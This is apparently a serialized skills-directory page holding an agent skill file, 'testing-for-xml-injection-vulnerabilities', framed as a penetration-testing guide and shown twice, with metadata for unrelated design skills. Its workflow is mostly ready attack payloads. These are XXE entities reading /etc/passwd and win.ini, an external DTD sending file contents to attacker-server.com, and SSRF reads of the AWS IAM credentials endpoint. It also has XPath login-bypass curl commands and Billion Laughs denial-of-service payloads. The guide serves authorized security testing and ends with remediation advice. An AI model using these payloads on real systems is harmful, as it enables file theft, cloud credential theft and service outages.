[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DDJS84YXPS0YNE3Y5Y6R2D":3,"skill-same:01M7DDJS84YXPS0YNE3Y5Y6R2D":87},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":51,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":54,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M7DDJS84YXPS0YNE3Y5Y6R2D","testing-for-xml-injection-vulnerabilities",null,"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-xml-injection-vulnerabilities\ndescription: Test web applications for XML injection vulnerabilities including XXE,\n  XPath injection, and XML entity attacks to identify data exposure and server-side\n  request forgery risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- xml-injection\n- xxe\n- xpath-injection\n- xml-parsing\n- web-security\n- entity-injection\n- dtd-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n","# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"xml-injection","xxe","xpath-injection","xml-parsing","web-security","entity-injection","dtd-attack","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1055","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill testing-for-xml-injection-vulnerabilities",{"tool":63,"command":64},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill testing-for-xml-injection-vulnerabilities",{"tool":66,"command":67},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill testing-for-xml-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",true,[71,75,81],{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"references\u002Fapi-reference.md","REFERENCE","参考文档",1724,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"scripts\u002Fagent.py","SCRIPT","脚本",7798,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[88,96,104,113,120,127],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":92,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":100,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]